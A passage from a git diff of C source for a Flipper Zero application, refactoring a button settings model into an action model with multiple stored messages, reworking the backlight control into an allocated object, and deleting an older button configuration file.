model to set the keystroke index for. * @param index The index of the menu item for adding a keystroke. */ -void button_model_set_keystroke_index(ButtonModel* model, uint8_t index) { +void action_model_set_keystroke_index(ActionModel* model, uint8_t index) { model->keystroke_index = index; } @@ -235,38 +238,38 @@ void button_model_set_keystroke_index(ButtonModel* model, uint8_t index) { * @brief Sets the index of the item being edited. * @param model The model to set the temp index for. */ -void button_model_set_temp_index(ButtonModel* model, uint8_t index) { +void action_model_set_temp_index(ActionModel* model, uint8_t index) { model->temp_index = index; } /** - * @brief Sets the button config associated with this model. - * @param model The model to set the button config for. - * @param button_config The button config associated with this model. + * @brief Sets the action config associated with this model. + * @param model The model to set the action config for. + * @param action_config The action config associated with this model. */ -void button_model_set_button_config(ButtonModel* model, void* button_config) { - model->button_config = button_config; +void action_model_set_action_config(ActionModel* model, void* action_config) { + model->action_config = action_config; } /** - * @brief Sets the frequency for the button, in Hz. + * @brief Sets the frequency for the action, in Hz. * @param model The model to set the frequency for. - * @param frequency The frequency for the button. + * @param frequency The frequency for the action. */ -void button_model_set_frequency(ButtonModel* model, float frequency) { +void action_model_set_frequency(ActionModel* model, float frequency) { model->frequency = frequency; } /** - * @brief Sets the keystrokes and count for the button. + * @brief Sets the keystrokes and count for the action. * @param model The model to set the keystrokes count for. * @param index The index of the keystroke to set. * @param button_code The key code to send when this key is pressed. * @param count The number of keystrokes for the button. * @return True if the keystroke was set, false otherwise. */ -bool button_model_set_keystroke( - ButtonModel* model, +bool action_model_set_keystroke( + ActionModel* model, uint8_t index, uint16_t button_code, uint8_t count) { @@ -280,12 +283,12 @@ bool button_model_set_keystroke( } /** - * @brief Appends a keystroke to the button. + * @brief Appends a keystroke to the action. * @param model The model to append the keystroke to. * @param button_code The key code to send when this key is pressed. * @param count The number of keystrokes for the button. */ -void button_model_append_keystroke(ButtonModel* model, uint16_t button_code, uint8_t count) { +void action_model_append_keystroke(ActionModel* model, uint16_t button_code, uint8_t count) { model->keystrokes_count++; if(model->keystrokes == NULL) { model->keystrokes = malloc(sizeof(Keystroke)); @@ -298,11 +301,11 @@ void button_model_append_keystroke(ButtonModel* model, uint16_t button_code, uin } /** - * @brief Removes the last keystroke from the button. + * @brief Removes the last keystroke from the action. * @param model The model to remove the keystroke from. * @return True if the keystroke was removed, false otherwise. */ -bool button_model_remove_last_keystroke(ButtonModel* model) { +bool action_model_remove_last_keystroke(ActionModel* model) { if(model->keystrokes == NULL || model->keystrokes_count == 0) { return false; } @@ -322,46 +325,47 @@ bool button_model_remove_last_keystroke(ButtonModel* model) { } /** - * @brief Sets the message for the button. - * @details Sets the message for the button. If the message is a space character, it will be + * @brief Sets the message for the action. + * @details Sets the message for the action. If the message is a space character, it will be * be considered as empty string. * @param model The model to set the message for. - * @param message The message for the button. + * @param message The message for the action. + * @param message_number The message number to set. */ -void button_model_set_message(ButtonModel* model, const char* message) { +void action_model_set_message(ActionModel* model, const char* message, uint8_t message_number) { if(message != NULL && message[0] == ' ') { // Hack since we can't clear the message. message++; } if(message == NULL || message[0] == '\0') { - if(model->message) { - furi_string_free(model->message); + if(model->message[message_number]) { + furi_string_free(model->message[message_number]); } - model->message = NULL; + model->message[message_number] = NULL; return; } - if(model->message == NULL) { - model->message = furi_string_alloc(); + if(model->message[message_number] == NULL) { + model->message[message_number] = furi_string_alloc(); } - furi_string_set(model->message, message); + furi_string_set(model->message[message_number], message); } /** - * @brief Saves the button model to a FlipperFormat. + * @brief Saves the action model to a FlipperFormat. * @param model The model to save. * @param flipper_format The FlipperFormat to save to. * @param fields The fields to save. * @return True if the model was saved, false otherwise. */ -bool button_model_save(ButtonModel* model, FlipperFormat* flipper_format, ButtonModelFields fields) { +bool action_model_save(ActionModel* model, FlipperFormat* flipper_format, ActionModelFields fields) { if(!flipper_format_write_comment_cstr(flipper_format, "")) { return false; } - uint32_t data32 = model->button_id; - if(!flipper_format_write_uint32(flipper_format, "ButtonId", &data32, 1)) { + uint32_t data32 = model->action_id; + if(!flipper_format_write_uint32(flipper_format, "ActionId", &data32, 1)) { return false; } @@ -370,52 +374,75 @@ bool button_model_save(ButtonModel* model, FlipperFormat* flipper_format, Button return false; } - data32 = button_model_get_color_up(model); - if((fields & ButtonModelFieldColorUp) && + data32 = action_model_get_color_up(model); + if((fields & ActionModelFieldColorUp) && !flipper_format_write_uint32(flipper_format, "ColorUp", &data32, 1)) { return false; } - data32 = button_model_get_color_down(model); - if((fields & ButtonModelFieldColorDown) && + data32 = action_model_get_color_down(model); + if((fields & ActionModelFieldColorDown) && !flipper_format_write_uint32(flipper_format, "ColorDown", &data32, 1)) { return false; } - float dataf = button_model_get_frequency(model); - if((fields & ButtonModelFieldFrequency) && + float dataf = action_model_get_frequency(model); + if((fields & ActionModelFieldFrequency) && !flipper_format_write_float(flipper_format, "Frequency", &dataf, 1)) { return false; } - FuriString* str = button_model_get_message(model); - if((fields & ButtonModelFieldMessage)) { - FuriString* temp_str = NULL; - if(str == NULL) { - temp_str = furi_string_alloc(); + if((fields & ActionModelFieldMessage)) { + FuriString* empty_str = furi_string_alloc(); + + FuriString* str = action_model_get_message(model, 0); + if(!flipper_format_write_string(flipper_format, "Message", str ? str : empty_str)) { + if(empty_str) { + furi_string_free(empty_str); + } + return false; + } + + str = action_model_get_message(model, 1); + if(!flipper_format_write_string(flipper_format, "Message2", str ? str : empty_str)) { + if(empty_str) { + furi_string_free(empty_str); + } + return false; + } + + str = action_model_get_message(model, 2); + if(!flipper_format_write_string(flipper_format, "Message3", str ? str : empty_str)) { + if(empty_str) { + furi_string_free(empty_str); + } + return false; } - if(!flipper_format_write_string(flipper_format, "Message", str ? str : temp_str)) { - if(temp_str) { - furi_string_free(temp_str); + + str = action_model_get_message(model, 3); + if(!flipper_format_write_string(flipper_format, "Message4", str ? str : empty_str)) { + if(empty_str) { + furi_string_free(empty_str); } return false; } - if(temp_str) { - furi_string_free(temp_str); + + if(empty_str) { + furi_string_free(empty_str); } } - uint16_t size = button_model_get_keystrokes_count(model); + uint16_t size = action_model_get_keystrokes_count(model); data32 = size; - if((fields & ButtonModelFieldKeystrokes) && + if((fields & ActionModelFieldKeystrokes) && !flipper_format_write_uint32(flipper_format, "KeystrokeCount", &data32, 1)) { return false; } - if((fields & ButtonModelFieldKeystrokes) && size != 0) { + if((fields & ActionModelFieldKeystrokes) && size != 0) { uint32_t* info = malloc(sizeof(uint32_t) * 2 * size); for(uint8_t i = 0; i < size; i++) { - Keystroke keystroke = button_model_get_keystroke(model, i); + Keystroke keystroke = action_model_get_keystroke(model, i); info[i * 2] = (uint32_t)keystroke.button_code; info[i * 2 + 1] = (uint32_t)keystroke.count; } @@ -430,42 +457,51 @@ bool button_model_save(ButtonModel* model, FlipperFormat* flipper_format, Button } /** - * @brief Searches a FlipperFormat for a KeyId/ButtonId and returns the Fields. - * @param button_id The button id to search for. + * @brief Searches a FlipperFormat for a ActionId/KeyId/ButtonId and returns the Fields. + * @param action_id The action id to search for. * @param flipper_format The FlipperFormat to search in. - * @return The fields that were loaded (ButtonModelFieldNone if not found) + * @return The fields that were loaded (ActionModelFieldNone if not found) */ -static ButtonModelFields - button_model_load_has_id(uint16_t button_id, FlipperFormat* flipper_format) { +static ActionModelFields + action_model_load_has_id(uint16_t action_id, FlipperFormat* flipper_format) { uint32_t data32; flipper_format_rewind(flipper_format); + while(flipper_format_read_uint32(flipper_format, "ActionId", &data32, 1)) { + if(data32 == action_id) { + if(flipper_format_read_uint32(flipper_format, "Fields", &data32, 1)) { + return (ActionModelFields)data32; + } + return (ActionModelFields)ActionModelFieldNone; + } + } + flipper_format_rewind(flipper_format); while(flipper_format_read_uint32(flipper_format, "ButtonId", &data32, 1)) { - if(data32 == button_id) { + if(data32 == action_id) { if(flipper_format_read_uint32(flipper_format, "Fields", &data32, 1)) { - return (ButtonModelFields)data32; + return (ActionModelFields)data32; } - return (ButtonModelFields)ButtonModelFieldNone; + return (ActionModelFields)ActionModelFieldNone; } } flipper_format_rewind(flipper_format); while(flipper_format_read_uint32(flipper_format, "KeyId", &data32, 1)) { - if(data32 == button_id) { + if(data32 == action_id) { if(flipper_format_read_uint32(flipper_format, "Fields", &data32, 1)) { - return (ButtonModelFields)data32; + return (ActionModelFields)data32; } - return (ButtonModelFields)ButtonModelFieldNone; + return (ActionModelFields)ActionModelFieldNone; } } - return (ButtonModelFields)ButtonModelFieldNone; + return (ActionModelFields)ActionModelFieldNone; } /** - * @brief Loads the button model from a FlipperFormat. + * @brief Loads the action model from a FlipperFormat. * @param model The model to load. * @param flipper_format The FlipperFormat to load from. */ -static void button_model_load_fields(ButtonModel* model, FlipperFormat* flipper_format) { +static void action_model_load_fields(ActionModel* model, FlipperFormat* flipper_format) { uint32_t data32; float dataf; FuriString* message = furi_string_alloc(); @@ -484,8 +520,29 @@ static void button_model_load_fields(ButtonModel* model, FlipperFormat* flipper_ if(flipper_format_read_string(flipper_format, "Message", message)) { if(furi_string_size(message)) { - button_model_set_message(model, furi_string_get_cstr(message)); + action_model_set_message(model, furi_string_get_cstr(message), 0); + } + } + + if(flipper_format_read_string(flipper_format, "Message2", message)) { + if(furi_string_size(message)) { + action_model_set_message(model, furi_string_get_cstr(message), 1); + } + + if(flipper_format_read_string(flipper_format, "Message3", message)) { + if(furi_string_size(message)) { + action_model_set_message(model, furi_string_get_cstr(message), 2); + } } + + if(flipper_format_read_string(flipper_format, "Message4", message)) { + if(furi_string_size(message)) { + action_model_set_message(model, furi_string_get_cstr(message), 3); + } + } + } else { + // Message 2 not found, so legacy format. Rewind to being of Id. + action_model_load_has_id(model->action_id, flipper_format); } if(flipper_format_read_uint32(flipper_format, "KeystrokeCount", &data32, 1)) { @@ -496,7 +553,7 @@ static void button_model_load_fields(ButtonModel* model, FlipperFormat* flipper_ if(flipper_format_read_uint32(flipper_format, "Keystrokes", info, num_ints)) { for(uint8_t i = 0; i < num_entries; i++) { if(info[i * 2]) { - button_model_append_keystroke(model, info[i * 2], info[i * 2 + 1]); + action_model_append_keystroke(model, info[i * 2], info[i * 2 + 1]); } } } @@ -508,15 +565,15 @@ static void button_model_load_fields(ButtonModel* model, FlipperFormat* flipper_ } /** - * @brief Loads the button model from a FlipperFormat. + * @brief Loads the action model from a FlipperFormat. * @param model The model to load. * @param flipper_format The FlipperFormat to load from. - * @return The fields that were loaded (ButtonModelFieldNone if not found) + * @return The fields that were loaded (ActionModelFieldNone if not found) */ -ButtonModelFields button_model_load(ButtonModel* model, FlipperFormat* flipper_format) { - ButtonModelFields fields = button_model_load_has_id(model->button_id, flipper_format); +ActionModelFields action_model_load(ActionModel* model, FlipperFormat* flipper_format) { + ActionModelFields fields = action_model_load_has_id(model->action_id, flipper_format); if(fields) { - button_model_load_fields(model, flipper_format); + action_model_load_fields(model, flipper_format); } return fields; diff --git a/applications/external/flipsignal/common/action_model.h b/applications/external/flipsignal/common/action_model.h new file mode 100644 index 00000000000..cd38a24645b --- /dev/null +++ b/applications/external/flipsignal/common/action_model.h @@ -0,0 +1,247 @@ +/** + * @file action_model.h + * @brief This file contains the ActionModel type and related functions. + * @details This file contains the ActionModel type and related functions. + * The ActionModel type is used to store the settings for an action, for + * example the color, frequency, message, and keystrokes. + */ + +#pragma once + +#include +#include + +typedef struct ActionModel ActionModel; + +typedef struct { + uint16_t button_code; + uint8_t count; +} Keystroke; + +typedef enum { + ActionModelFieldNone = 0, + ActionModelFieldColorUp = 1 << 0, + ActionModelFieldColorDown = 1 << 1, + ActionModelFieldFrequency = 1 << 2, + ActionModelFieldMessage = 1 << 3, + ActionModelFieldKeystrokes = 1 << 4, + ActionModelFieldAll = (1 << 5) - 1, +} ActionModelFields; + +/** + * @brief Allocates a new action model. + * @param action_id The action id for the model. + * @return The new action model. + */ +ActionModel* action_model_alloc(uint8_t action_id); + +/** + * @brief Allocates a new action model from a FlipperFormat. + * @param action_id The action id for the model. + * @param flipper_format The FlipperFormat to load from. + * @return The new action model. +*/ +ActionModel* action_model_alloc_from_ff(uint8_t action_id, FlipperFormat* flipper_format); + +/** + * @brief Frees a action model. + * @param model The model to free. + */ +void action_model_free(ActionModel* model); + +/** + * @brief Gets the action id for the model. + * @param model The model to get the action id for. + * @return The action id for the model. + */ +uint8_t action_model_get_action_id(ActionModel* model); + +/** + * @brief Gets the HEX color when the action is not active. + * @param model The model to get the color for. + * @return The hex color for when action is not active. + */ +uint32_t action_model_get_color_up(ActionModel* model); + +/** + * @brief Gets the HEX color when the action is active. + * @param model The model to get the color for. + * @return The hex color for when action is active. + */ +uint32_t action_model_get_color_down(ActionModel* model); + +/** + * @brief Gets the index of the menu item for editing the message. + * @param model The model to get the message index for. + * @return The index of the menu item for editing the message. + */ +uint8_t action_model_get_message_index(ActionModel* model); + +/** + * @brief Gets the index of the menu item for adding a keystroke. + * @param model The model to get the keystroke index for. + * @return The index of the menu item for adding a keystroke. + */ +uint8_t action_model_get_keystroke_index(ActionModel* model); + +/** + * @brief Gets the temp buffer for editing the message. + * @param model The model to get the temp buffer for. + * @return The temp buffer for editing the message. + */ +char* action_model_get_temp_buffer(ActionModel* model); + +/** + * @brief Gets the size of the temp buffer for editing the message. + * @param model The model to get the temp buffer size for. + * @return The size of the temp buffer for editing the message. + */ +size_t action_model_get_temp_buffer_size(ActionModel* model); + +/** + * @brief Gets the index of the item being edited. + * @param model The model to get the temp index for. + * @return The index of the item being edited. + */ +uint8_t action_model_get_temp_index(ActionModel* model); + +/** + * @brief Gets the action config associated with this model. + * @param model The model to get the action config for. + * @return The action config associated with this model. + */ +void* action_model_get_action_config(ActionModel* model); + +/** + * @brief Gets the frequency for the action, in Hz. + * @param model The model to get the frequency for. + * @return The frequency for the action. + */ +float action_model_get_frequency(ActionModel* model); + +/** + * @brief Gets the number of keystrokes for the action. + * @param model The model to get the keystrokes count for. + * @return The number of keystrokes for the action. + */ +uint8_t action_model_get_keystrokes_count(ActionModel* model); + +/** + * @brief Gets the keystroke at the given index. + * @param model The model to get the keystroke for. + * @param index The index of the keystroke to get. + * @return The keystroke at the given index. + */ +Keystroke action_model_get_keystroke(ActionModel* model, uint8_t index); + +/** + * @brief Gets the message for the action. + * @param model The model to get the message for. + * @param message_number The message number to get. + * @return The message for the action. + */ +FuriString* action_model_get_message(ActionModel* model, uint8_t message_number); + +/** + * @brief Sets the HEX color when the action is not active. + * @param model The model to set the color for. + * @param color_up The hex color for when action is not active. + */ +void action_model_set_color_up(ActionModel* model, uint32_t color_up); + +/** + * @brief Sets the HEX color when the action is pressed. + * @param model The model to set the color for. + * @param color_down The hex color for when action is pressed down. + */ +void action_model_set_color_down(ActionModel* model, uint32_t color_down); + +/** + * @brief Sets the index of the menu item for editing the message. + * @param model The model to set the message index for. + * @param index The index of the menu item for editing the message. + */ +void action_model_set_message_index(ActionModel* model, uint8_t index); + +/** + * @brief Sets the index of the menu item for adding a keystroke. + * @param model The model to set the keystroke index for. + * @param index The index of the menu item for adding a keystroke. + */ +void action_model_set_keystroke_index(ActionModel* model, uint8_t index); + +/** + * @brief Sets the index of the item being edited. + * @param model The model to set the temp index for. + */ +void action_model_set_temp_index(ActionModel* model, uint8_t index); + +/** + * @brief Sets the action config associated with this model. + * @param model The model to set the action config for. + * @param action_config The action config associated with this model. + */ +void action_model_set_action_config(ActionModel* model, void* action_config); + +/** + * @brief Sets the frequency for the action, in Hz. + * @param model The model to set the frequency for. + * @param frequency The frequency for the action. + */ +void action_model_set_frequency(ActionModel* model, float frequency); + +/** + * @brief Sets the keystrokes and count for the action. + * @param model The model to set the keystrokes count for. + * @param index The index of the keystroke to set. + * @param button_code The key code to send when this key is pressed. + * @param count The number of keystrokes for the button. + * @return True if the keystroke was set, false otherwise. + */ +bool action_model_set_keystroke( + ActionModel* model, + uint8_t index, + uint16_t button_code, + uint8_t count); + +/** + * @brief Appends a keystroke to the action. + * @param model The model to append the keystroke to. + * @param button_code The key code to send when this key is pressed. + * @param count The number of keystrokes for the button. + */ +void action_model_append_keystroke(ActionModel* model, uint16_t button_code, uint8_t count); + +/** + * @brief Removes the last keystroke from the action. + * @param model The model to remove the keystroke from. + * @return True if the keystroke was removed, false otherwise. + */ +bool action_model_remove_last_keystroke(ActionModel* model); + +/** + * @brief Sets the message for the action. + * @details Sets the message for the action. If the message is a space character, it will be + * be considered as empty string. + * @param model The model to set the message for. + * @param message The message for the action. + * @param message_number The message number to set. + */ +void action_model_set_message(ActionModel* model, const char* message, uint8_t message_number); + +/** + * @brief Saves the action model to a FlipperFormat. + * @param model The model to save. + * @param flipper_format The FlipperFormat to save to. + * @param fields The fields to save. + * @return True if the model was saved, false otherwise. + */ +bool action_model_save(ActionModel* model, FlipperFormat* flipper_format, ActionModelFields fields); + +/** + * @brief Loads the action model from a FlipperFormat. + * @param model The model to load. + * @param flipper_format The FlipperFormat to load from. + * @return The fields that were loaded (ActionModelFieldNone if not found) +*/ +ActionModelFields action_model_load(ActionModel* model, FlipperFormat* flipper_format); diff --git a/applications/external/flipkeyboard/common/button_model_i.h b/applications/external/flipsignal/common/action_model_i.h similarity index 66% rename from applications/external/flipkeyboard/common/button_model_i.h rename to applications/external/flipsignal/common/action_model_i.h index bff2a235fca..8f4d271b17c 100644 --- a/applications/external/flipkeyboard/common/button_model_i.h +++ b/applications/external/flipsignal/common/action_model_i.h @@ -1,10 +1,10 @@ #pragma once -#include "button_model.h" +#include "action_model.h" -struct ButtonModel { - // The button this setting is for (0-15) - uint8_t button_id; +struct ActionModel { + // The action this setting is for (0-15) + uint8_t action_id; // Hex color (RRGGBB) for the key when it is not pressed uint32_t color_up; @@ -25,7 +25,7 @@ struct ButtonModel { uint8_t keystroke_index; // Message to send when this key is pressed - FuriString* message; + FuriString* message[4]; // Temp buffer for editing message char* temp_buffer; @@ -34,9 +34,14 @@ struct ButtonModel { // Index of the menu item for editing message uint8_t message_index; - // ButtonConfig associated with this key - void* button_config; + // ActionConfig associated with this key + void* action_config; // Temp index. Used for storing the index of the key being edited uint8_t temp_index; -}; \ No newline at end of file +}; + +static ActionModelFields + action_model_load_has_id(uint16_t action_id, FlipperFormat* flipper_format); + +static void action_model_load_fields(ActionModel* model, FlipperFormat* flipper_format); \ No newline at end of file diff --git a/applications/external/flipsignal/common/app_menu.c b/applications/external/flipsignal/common/app_menu.c index 985e29168f1..0d79fd22bd0 100644 --- a/applications/external/flipsignal/common/app_menu.c +++ b/applications/external/flipsignal/common/app_menu.c @@ -1,5 +1,9 @@ #include "app_menu_i.h" +/** + * @brief Global ViewDispatcher pointer. + * @details This global is due to submenu context being fixed to submenu. +*/ static ViewDispatcher* global_view_dispatcher; /** diff --git a/applications/external/flipsignal/common/app_menu.h b/applications/external/flipsignal/common/app_menu.h index e81160390e8..782f4082877 100644 --- a/applications/external/flipsignal/common/app_menu.h +++ b/applications/external/flipsignal/common/app_menu.h @@ -1,12 +1,17 @@ -#pragma once - /** * @file app_menu.h * @brief This file contains the AppMenu type and related functions. * @details This file contains the AppMenu type and related functions. * The app_menu module is used to create and show the main application menu. + * + * FLIPBOARD_APP_MENU_VIEW_ID is used to identify the main application menu view. + * Exiting this menu (Back button) exits the application. + * CustomEventAppMenuEnter happens on displaying main application menu. + * CustomEventAppMenuExit happens on exit. */ +#pragma once + #include #include diff --git a/applications/external/flipsignal/common/app_menu_i.h b/applications/external/flipsignal/common/app_menu_i.h index f69751092ad..fe09cfdeabc 100644 --- a/applications/external/flipsignal/common/app_menu_i.h +++ b/applications/external/flipsignal/common/app_menu_i.h @@ -12,5 +12,5 @@ ARRAY_DEF(ViewIdsArray, uint32_t, M_PTR_OPLIST); struct AppMenu { ViewDispatcher* view_dispatcher; Submenu* submenu; - ViewIdsArray_t view_ids; + ViewIdsArray_t view_ids; // List of view ids for each menu item }; \ No newline at end of file diff --git a/applications/external/flipsignal/common/backlight.c b/applications/external/flipsignal/common/backlight.c index 53b5b82f119..ba595910355 100644 --- a/applications/external/flipsignal/common/backlight.c +++ b/applications/external/flipsignal/common/backlight.c @@ -1,16 +1,46 @@ #include "backlight_i.h" -static bool backlight_on_setting = false; +struct Backlight { + bool backlight_on_setting; +}; + +/** + * @brief Allocates a new Backlight object. + * @details Creates a new Backlight object. The Backlight object is responsible for + * controlling the backlight. You can turn the backlight on, or turn it back + * off (unless user interaction). + * @return Pointer to Backlight object. +*/ +Backlight* backlight_alloc() { + Backlight* backlight = malloc(sizeof(Backlight)); + backlight->backlight_on_setting = false; + return backlight; +} + +/** + * @brief Frees a Backlight object. + * @details Frees a Backlight object. + * @param backlight Pointer to Backlight object. +*/ +void backlight_free(Backlight* backlight) { + if(backlight) { + if(backlight->backlight_on_setting) { + backlight_off(backlight); + } + free(backlight); + } +} /** * @brief Turns on backlight, even if no user interaction. + * @param backlight Pointer to Backlight object. */ -void backlight_on() { - if(backlight_on_setting) { +void backlight_on(Backlight* backlight) { + if(!backlight || backlight->backlight_on_setting) { return; } - backlight_on_setting = true; + backlight->backlight_on_setting = true; notification_message( furi_record_open(RECORD_NOTIFICATION), &sequence_display_backlight_enforce_on); @@ -19,13 +49,14 @@ void backlight_on() { /** * @brief Turns off backlight, unless there is user interaction. + * @param backlight Pointer to Backlight object. */ -void backlight_off() { - if(!backlight_on_setting) { +void backlight_off(Backlight* backlight) { + if(!backlight || !backlight->backlight_on_setting) { return; } - backlight_on_setting = false; + backlight->backlight_on_setting = false; notification_message( furi_record_open(RECORD_NOTIFICATION), &sequence_display_backlight_enforce_auto); diff --git a/applications/external/flipsignal/common/backlight.h b/applications/external/flipsignal/common/backlight.h index 0d97353ad32..ef8607e5f24 100644 --- a/applications/external/flipsignal/common/backlight.h +++ b/applications/external/flipsignal/common/backlight.h @@ -1,19 +1,39 @@ -#pragma once - /** * @file backlight.h * @brief This file contains the backlight module. * @details This file contains the backlight module. The backlight module is * responsible for controlling the backlight. You can turn the backlight on, - * off, or force it off. + * or turn it back off (unless user interaction). +*/ + +#pragma once + +typedef struct Backlight Backlight; + +/** + * @brief Allocates a new Backlight object. + * @details Creates a new Backlight object. The Backlight object is responsible for + * controlling the backlight. You can turn the backlight on, or turn it back + * off (unless user interaction). + * @return Pointer to Backlight object. +*/ +Backlight* backlight_alloc(); + +/** + * @brief Frees a Backlight object. + * @details Frees a Backlight object. + * @param backlight Pointer to Backlight object. */ +void backlight_free(Backlight* backlight); /** * @brief Turns on backlight, even if no user interaction. + * @param backlight Pointer to Backlight object. */ -void backlight_on(); +void backlight_on(Backlight* backlight); /** * @brief Turns off backlight, unless there is user interaction. + * @param backlight Pointer to Backlight object. */ -void backlight_off(); +void backlight_off(Backlight* backlight); diff --git a/applications/external/flipsignal/common/button_config.c b/applications/external/flipsignal/common/button_config.c deleted file mode 100644 index df00b87e752..00000000000 --- a/applications/external/flipsignal/common/button_config.c +++ /dev/null @@ -1,607 +0,0 @@ -#include "button_config_i.h" - -static void populate_variable_item_list(ButtonConfig* button_config, ButtonModel* bm); - -/** - * @brief color_up_changed is called when the color up setting is changed. - * @param item The VariableItem that was changed. - */ -static void color_up_changed(VariableItem* item) { - ButtonModel* bm = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - button_model_set_color_up(bm, color_values[index]); - variable_item_set_current_value_text(item, color_names[index]); -} - -/** - * @brief color_down_changed is called when the color down setting is changed. - * @param item The VariableItem that was changed. - */ -static void color_down_changed(VariableItem* item) { - ButtonModel* bm = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - button_model_set_color_down(bm, color_values[index]); - variable_item_set_current_value_text(item, color_names[index]); -} - -/** - * @brief tone_changed is called when the tone setting is changed. - * @param item The VariableItem that was changed. - */ -static void tone_changed(VariableItem* item) { - ButtonModel* bm = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - button_model_set_frequency(bm, tone_values[index]); - variable_item_set_current_value_text(item, tone_names[index]); -} - -/** - * @brief maps a menu item index into to keystroke index. - * @details maps a menu item index into to keystroke index. Determining the - * index relies on the fact that the menu items are added in the order of - * Keystroke, Count, Keystroke, Count, etc. and then finally Add Keystroke. - * @param bm The ButtonModel. - * @return The keystroke index -*/ -static uint8_t keystroke_item_index(ButtonModel* bm) { - ButtonConfig* button_config = (ButtonConfig*)button_model_get_button_config(bm); - uint8_t add_item_index = button_model_get_keystroke_index(bm); - uint8_t count = button_model_get_keystrokes_count(bm); - uint8_t offset = add_item_index - (count * 2); - uint8_t selected_item_index = - variable_item_list_get_selected_item_index(button_config->item_list); - uint8_t item_index = (selected_item_index - offset) / 2; - FURI_LOG_D("Flipboard", "item_index=%d", item_index); - return item_index; -} - -/** - * @brief keystroke_changed is called when the keystroke setting is changed. - * @param item The VariableItem that was changed. - */ -static void keystroke_changed(VariableItem* item) { - ButtonModel* bm = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - uint8_t item_index = keystroke_item_index(bm); - Keystroke ks = button_model_get_keystroke(bm, item_index); - FURI_LOG_D("Flipboard", "ks.button_code=%d .count=%d", ks.button_code, ks.count); - button_model_set_keystroke(bm, item_index, keystroke_values[index], ks.count); - variable_item_set_current_value_text(item, keystroke_names[index]); -} - -/** - * @brief keystroke_count_changed is called when the keystroke count setting is changed. - * @param item The VariableItem that was changed. -*/ -static void keystroke_count_changed(VariableItem* item) { - ButtonModel* bm = variable_item_get_context(item); - uint8_t index = variable_item_get_current_value_index(item); - uint8_t item_index = keystroke_item_index(bm); - Keystroke ks = button_model_get_keystroke(bm, item_index); - FURI_LOG_D("Flipboard", "ks.button_code=%d .count=%d", ks.button_code, ks.count); - button_model_set_keystroke(bm, item_index, ks.button_code, index); - variable_item_set_current_value_text(item, keystroke_count_names[index]); -} - -/** - * @brief populate_variable_item_list_color adds a color configuration. - * @details populate_variable_item_list_color adds a color configuration. It - * adds a VariableItem (config) to the VariableItemList. It sets the current - * value index to the index of the color passed in, if it finds a match. - * @param button_config The ButtonConfig. - * @param bm The ButtonModel. - * @param label The label for the setting. - * @param callback The callback for when the setting is changed. - * @param initial_color The initial color in HEX to default to (RRGGBB). -*/ -static void populate_variable_item_list_color( - ButtonConfig* button_config, - ButtonModel* bm, - char* label, - VariableItemChangeCallback callback, - uint32_t initial_color) { - VariableItem* item = variable_item_list_add( - button_config->item_list, label, COUNT_OF(color_names), callback, bm); - uint8_t index = 0; - for(size_t i = 0; i < COUNT_OF(color_values); i++) { - if(initial_color == color_values[i]) { - index = i; - break; - } - } - variable_item_set_current_value_index(item, index); - variable_item_set_current_value_text(item, color_names[index]); -} - -/** - * @brief populate_variable_item_list_frequency adds a frequency configuration. - * @details populate_variable_item_list_frequency adds a frequency configuration. - * It sets the current value index to the index of the frequency passed in, if - * it finds a match. - * @param button_config The ButtonConfig. - * @param bm The ButtonModel. - * @param label The label for the setting. - * @param callback The callback for when the setting is changed. - * @param frequency The initial frequency to default to. -*/ -static void populate_variable_item_list_frequency( - ButtonConfig* button_config, - ButtonModel* bm, - char* label, - VariableItemChangeCallback callback, - float frequency) { - VariableItem* item = variable_item_list_add( - button_config->item_list, label, COUNT_OF(tone_names), callback, bm); - uint8_t index = 0; - for(size_t i = 0; i < COUNT_OF(tone_values); i++) { - float diff = frequency - tone_values[i]; - if(diff < 0.0f) diff = -diff; - if(diff < 1.0f) { - index = i; - break; - } - } - variable_item_set_current_value_index(item, index); - variable_item_set_current_value_text(item, tone_names[index]); -} - -/** - * @brief populate_variable_item_list_keystrokes adds keystroke and count configurations. - * @param button_config The ButtonConfig. - * @param bm The ButtonModel. - * @return The number of lines added. -*/ -static uint8_t - populate_variable_item_list_keystrokes(ButtonConfig* button_config, ButtonModel* bm) { - uint8_t lines_added = 0; - - uint8_t count = button_model_get_keystrokes_count(bm); - - for(int j = 0; j < count; j++) { - Keystroke ks = button_model_get_keystroke(bm, j); - FURI_LOG_D("Flipboard", "POPULATE ks.button_code=%d .count=%d", ks.button_code, ks.count); - - VariableItem* item = variable_item_list_add( - button_config->item_list, - "Keystroke", - COUNT_OF(keystroke_names), - keystroke_changed, - bm); - lines_added++; - uint8_t index = 0; - for(size_t i = 0; i < COUNT_OF(keystroke_names); i++) { - if(keystroke_values[i] == ks.button_code) { - index = i; - break; - } - } - variable_item_set_current_value_index(item, index); - variable_item_set_current_value_text(item, keystroke_names[index]); - - item = variable_item_list_add( - button_config->item_list, - "Count", - COUNT_OF(keystroke_count_names), - keystroke_count_changed, - bm); - lines_added++; - index = COUNT_OF(keystroke_count_names) - 1; - for(size_t i = 0; i < COUNT_OF(keystroke_count_names); i++) { - if(i == ks.count) { - index = i; - break; - } - } - variable_item_set_current_value_index(item, index); - variable_item_set_current_value_text(item, keystroke_count_names[index]); - } - - return lines_added; -} - -/** - * @brief message_updated is called when the text message is updated. - * @param context The ButtonModel. - */ -static void message_updated(void* context) { - ButtonModel* bm = (ButtonModel*)context; - ButtonConfig* button_config = (ButtonConfig*)button_model_get_button_config(bm); - furi_assert(button_config); - button_model_set_message(bm, button_model_get_temp_buffer(bm)); - view_dispatcher_switch_to_view( - button_config->view_dispatcher, button_config->view_item_list_id); -} - -/** - * @brief keystroke_selector_callback is called when a keystroke is selected. - * @param button_code The button code that was selected. - * @param context The ButtonModel. -*/ -static void keystroke_selector_callback(uint16_t button_code, void* context) { - ButtonModel* bm = (ButtonModel*)context; - ButtonConfig* button_config = (ButtonConfig*)button_model_get_button_config(bm); - uint8_t item = button_model_get_temp_index(bm); - Keystroke ks = button_model_get_keystroke(bm, item); - if(ks.button_code != button_code) { - button_model_set_keystroke(bm, (uint8_t)item, button_code, ks.count); - populate_variable_item_list(button_config, bm); - } - view_dispatcher_switch_to_view( - button_config->view_dispatcher, button_config->view_item_list_id); -} - -/** - * @brief item_clicked is called when an item is clicked in the config menu. - * @details item_clicked is called when an item is clicked in the config menu. - * It determines which item was clicked and switches to the appropriate view, - * if the item has an editor. 